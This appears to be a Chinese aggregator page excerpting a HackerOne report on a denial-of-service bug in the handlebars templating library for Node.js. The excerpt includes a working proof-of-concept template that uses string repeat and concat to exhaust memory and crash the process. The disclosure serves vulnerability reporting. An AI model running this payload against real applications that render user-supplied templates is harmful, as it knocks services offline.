Crash Node.js process from handlebars using a small and simple source
该报告还没有中文解读。
原文摘录
摘自原文(5073 字符中的一小部分)
I would like to report Denial of service in handlebars. It allows an attacker to crush Node.js process with a small and simple source.
原文中的代码
const handlebars = require('handlebars');
let source = `
{{#with 'a' as |s0|}}
{{#with (s0.repeat 500000000) as |s|}}
{{s.concat s}}
{{s.concat s}}
{{/with}}
{{/with}}
`;
let template = handlebars.compile(source);
template();默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @macasun · 版权归作者与 Node.js third-party modules 所有